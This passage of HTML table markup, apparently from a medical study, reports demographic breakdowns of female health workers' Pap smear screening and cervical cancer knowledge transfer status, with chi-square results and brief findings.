style=\"font-size:10.0pt\">11,9</span></p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">16</span></p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2,1</span></p>\r\n			</td>\r\n			<td style=\"width:51.45pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">10</span></p>\r\n			</td>\r\n			<td style=\"width:25.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">4,6</span></p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">28</span></p>\r\n			</td>\r\n			<td style=\"width:32.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">3,8</span></p>\r\n			</td>\r\n			<td style=\"width:51.45pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:77.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">45years old and older</span></p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">8</span></p>\r\n			</td>\r\n			<td style=\"width:32.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">4,3</span></p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">4</span></p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0,5</span></p>\r\n			</td>\r\n			<td style=\"width:51.45pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">4</span></p>\r\n			</td>\r\n			<td style=\"width:25.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1,9</span></p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">8</span></p>\r\n			</td>\r\n			<td style=\"width:32.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1,1</span></p>\r\n			</td>\r\n			<td style=\"width:51.45pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:77.85pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Occupation </span></strong></p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:32.2pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:51.45pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.75pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.8pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:32.2pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:51.45pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:77.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Doctor</span></p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">32</span></p>\r\n			</td>\r\n			<td style=\"width:32.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">17,3</span></p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">148</span></p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">19,3</span></p>\r\n			</td>\r\n			<td style=\"width:51.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">X</span><span style=\"font-size:10.0pt\"><span style=\"color:red\">&sup2;</span></span><span style=\"font-size:10.0pt\">=8,74</span></p>\r\n			</td>\r\n			<td style=\"width:25.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">84</span></p>\r\n			</td>\r\n			<td style=\"width:25.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">38,9</span></p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">96</span></p>\r\n			</td>\r\n			<td style=\"width:32.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">13,1</span></p>\r\n			</td>\r\n			<td style=\"width:51.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">X</span><span style=\"font-size:10.0pt\"><span style=\"color:red\">&sup2;</span></span><span style=\"font-size:10.0pt\">=101,52</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:77.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Midwife-Nurse</span></p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">110</span></p>\r\n			</td>\r\n			<td style=\"width:32.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">59,5</span></p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">390</span></p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">51</span></p>\r\n			</td>\r\n			<td style=\"width:51.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">P=0,033</span></p>\r\n			</td>\r\n			<td style=\"width:25.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">112</span></p>\r\n			</td>\r\n			<td style=\"width:25.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">51,9</span></p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">388</span></p>\r\n			</td>\r\n			<td style=\"width:32.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">52,9</span></p>\r\n			</td>\r\n			<td style=\"width:51.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">P=0,000</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:77.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Technicians</span></p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">26</span></p>\r\n			</td>\r\n			<td style=\"width:32.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">14,1</span></p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">174</span></p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">22,7</span></p>\r\n			</td>\r\n			<td style=\"width:51.45pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">7</span></p>\r\n			</td>\r\n			<td style=\"width:25.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">3,2</span></p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">193</span></p>\r\n			</td>\r\n			<td style=\"width:32.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">26,3</span></p>\r\n			</td>\r\n			<td style=\"width:51.45pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:77.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Diet-PTR-BioPharma</span></p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">17</span></p>\r\n			</td>\r\n			<td style=\"width:32.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">9,2</span></p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">53</span></p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">6,9</span></p>\r\n			</td>\r\n			<td style=\"width:51.45pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">13</span></p>\r\n			</td>\r\n			<td style=\"width:25.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">6</span></p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">57</span></p>\r\n			</td>\r\n			<td style=\"width:32.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">7,8</span></p>\r\n			</td>\r\n			<td style=\"width:51.45pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:77.85pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Educational Status</span></strong></p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:32.2pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:51.45pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.75pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.8pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:32.2pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:51.45pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:77.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">High School</span></p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">9</span></p>\r\n			</td>\r\n			<td style=\"width:32.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">4,9</span></p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">26</span></p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">3,4</span></p>\r\n			</td>\r\n			<td style=\"width:51.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">X</span><span style=\"font-size:10.0pt\"><span style=\"color:red\">&sup2;</span></span><span style=\"font-size:10.0pt\">=28,36</span></p>\r\n			</td>\r\n			<td style=\"width:25.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">7</span></p>\r\n			</td>\r\n			<td style=\"width:25.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">3,2</span></p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">28</span></p>\r\n			</td>\r\n			<td style=\"width:32.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">3,8</span></p>\r\n			</td>\r\n			<td style=\"width:51.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">X</span><span style=\"font-size:10.0pt\"><span style=\"color:red\">&sup2;</span></span><span style=\"font-size:10.0pt\">=79,65 </span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:77.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Associate&rsquo;s Degree</span></p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">101</span></p>\r\n			</td>\r\n			<td style=\"width:32.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">54,6</span></p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">294</span></p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">38,4</span></p>\r\n			</td>\r\n			<td style=\"width:51.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">P=0,000</span></p>\r\n			</td>\r\n			<td style=\"width:25.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">36</span></p>\r\n			</td>\r\n			<td style=\"width:25.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">16,7</span></p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">359</span></p>\r\n			</td>\r\n			<td style=\"width:32.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">48,9</span></p>\r\n			</td>\r\n			<td style=\"width:51.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">P=0,000</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:77.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Bachelor&rsquo;s Degree</span></p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">27</span></p>\r\n			</td>\r\n			<td style=\"width:32.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">14,6</span></p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">257</span></p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">33,6</span></p>\r\n			</td>\r\n			<td style=\"width:51.45pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">84</span></p>\r\n			</td>\r\n			<td style=\"width:25.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">38,9</span></p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">200</span></p>\r\n			</td>\r\n			<td style=\"width:32.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">27,2</span></p>\r\n			</td>\r\n			<td style=\"width:51.45pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:77.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Master&rsquo;s Degree </span></p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">28</span></p>\r\n			</td>\r\n			<td style=\"width:32.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">15,1</span></p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">107</span></p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">14</span></p>\r\n			</td>\r\n			<td style=\"width:51.45pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">50</span></p>\r\n			</td>\r\n			<td style=\"width:25.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">23,1</span></p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">85</span></p>\r\n			</td>\r\n			<td style=\"width:32.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">11,6</span></p>\r\n			</td>\r\n			<td style=\"width:51.45pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:77.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Above Master&rsquo;s Degree</span></p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">20</span></p>\r\n			</td>\r\n			<td style=\"width:32.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">10,8</span></p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">81</span></p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">10,6</span></p>\r\n			</td>\r\n			<td style=\"width:51.45pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">39</span></p>\r\n			</td>\r\n			<td style=\"width:25.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">18,1</span></p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">62</span></p>\r\n			</td>\r\n			<td style=\"width:32.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">8,4</span></p>\r\n			</td>\r\n			<td style=\"width:51.45pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:77.85pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Marital Status</span></strong></p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:32.2pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:51.45pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.75pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.8pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:32.2pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:51.45pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:77.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Married</span></p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">175</span></p>\r\n			</td>\r\n			<td style=\"width:32.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">94,6</span></p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">344</span></p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">45</span></p>\r\n			</td>\r\n			<td style=\"width:51.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">X</span><span style=\"font-size:10.0pt\"><span style=\"color:red\">&sup2;</span></span><span style=\"font-size:10.0pt\">=162,31</span></p>\r\n			</td>\r\n			<td style=\"width:25.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">98</span></p>\r\n			</td>\r\n			<td style=\"width:25.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">45,4</span></p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">421</span></p>\r\n			</td>\r\n			<td style=\"width:32.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">57,4</span></p>\r\n			</td>\r\n			<td style=\"width:51.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">X</span><span style=\"font-size:10.0pt\"><span style=\"color:red\">&sup2;</span></span><span style=\"font-size:10.0pt\">=13,28 </span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:77.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Single</span></p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">3</span></p>\r\n			</td>\r\n			<td style=\"width:32.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1,6</span></p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">408</span></p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">53,3</span></p>\r\n			</td>\r\n			<td style=\"width:51.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">P=0,000</span></p>\r\n			</td>\r\n			<td style=\"width:25.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">116</span></p>\r\n			</td>\r\n			<td style=\"width:25.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">53,7</span></p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">295</span></p>\r\n			</td>\r\n			<td style=\"width:32.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">40,2</span></p>\r\n			</td>\r\n			<td style=\"width:51.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">P=0,001</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:77.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Divorced</span></p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">7</span></p>\r\n			</td>\r\n			<td style=\"width:32.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">3,8</span></p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">13</span></p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1,7</span></p>\r\n			</td>\r\n			<td style=\"width:51.45pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2</span></p>\r\n			</td>\r\n			<td style=\"width:25.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0,9</span></p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">18</span></p>\r\n			</td>\r\n			<td style=\"width:32.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2,5</span></p>\r\n			</td>\r\n			<td style=\"width:51.45pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:77.85pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Total</span></strong></p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">185</span></strong></p>\r\n			</td>\r\n			<td style=\"width:32.2pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">100</span></strong></p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">765</span></strong></p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">100</span></strong></p>\r\n			</td>\r\n			<td style=\"width:51.45pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.75pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">216</span></strong></p>\r\n			</td>\r\n			<td style=\"width:25.8pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">100</span></strong></p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">734</span></strong></p>\r\n			</td>\r\n			<td style=\"width:32.2pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">100</span></strong></p>\r\n			</td>\r\n			<td style=\"width:51.45pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n</div>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Table 3: </strong>The Distribution of FHWs based on their Pap Smear Screening Status according to their Demographic Characteristics and Knowledge Transfer Status on Cervical Cancer.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">A significant statistical difference was found between Pap smear screening status and of FHWs in terms of their age, occupation and marital status (p&lt;0.05).</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">A significant statistical difference was found between knowledge transfer status of FHWs about cervical cancer in terms of their age, occupation and marital status (p&lt;0.05). </span></p>\r\n\r\n<div>\r\n<table align=\"center\" border=\"1\" cellspacing=\"0\" class=\"Table\" style=\"width:700px\">\r\n	<tbody>\r\n		<tr>\r\n			<td rowspan=\"2\" style=\"background-color:#083c64; width:193.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">STATEMENTS</span></strong></span></p>\r\n\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td rowspan=\"2\" style=\"background-color:#083c64; width:49.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Expected Response Yes-No</span></strong></span></p>\r\n\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td colspan=\"2\" style=\"background-color:#083c64; width:71.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Correct Responses</span></strong></span></p>\r\n			</td>\r\n			<td colspan=\"2\" style=\"background-color:#083c64; width:71.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">False</span></strong></span></p>\r\n\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Responses</span></strong></span></p>\r\n			</td>\r\n			<td colspan=\"2\" style=\"background-color:#083c64; width:71.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Do not know the answer</span></strong></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"background-color:#083c64; width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span 